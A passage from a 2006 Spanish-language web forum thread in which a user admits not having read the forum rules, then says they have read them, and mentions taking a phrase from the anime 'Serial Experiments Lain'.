ja de acuerdo , no habia leido las reglas porque ocupa tiempo y mi vista se hace +++++, pero las voy a leer

PD: en cuanto a la frase la saque de un anime llamado seriall experiments lain que vi y me parecio una frase buena , tienes razon por ahora no tiene sentido

« Última modificación: 20 de Octubre de 2006, 11:13:19 por OzX » En línea
OzX
Visitante
« Respuesta #7 : 20 de Octubre de 2006, 03:16:09 »

bueno te recomiendo que leas las reglas y te agaas algo de tiempo... te lo digo en buena onda. cool

saludos¡
adios
En línea
arial
NZ1
*
Desconectado Desconectado

Mensajes: 43


Ver Perfil
« Respuesta #8 : 20 de Octubre de 2006, 05:29:44 »

descuida esta todo bien , ya las leei, pense que eran una bocha mas por eso no las leia ....ya fue ahora que siga en pie la discusion por mejorar esta imformacion.

saludos
En línea
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online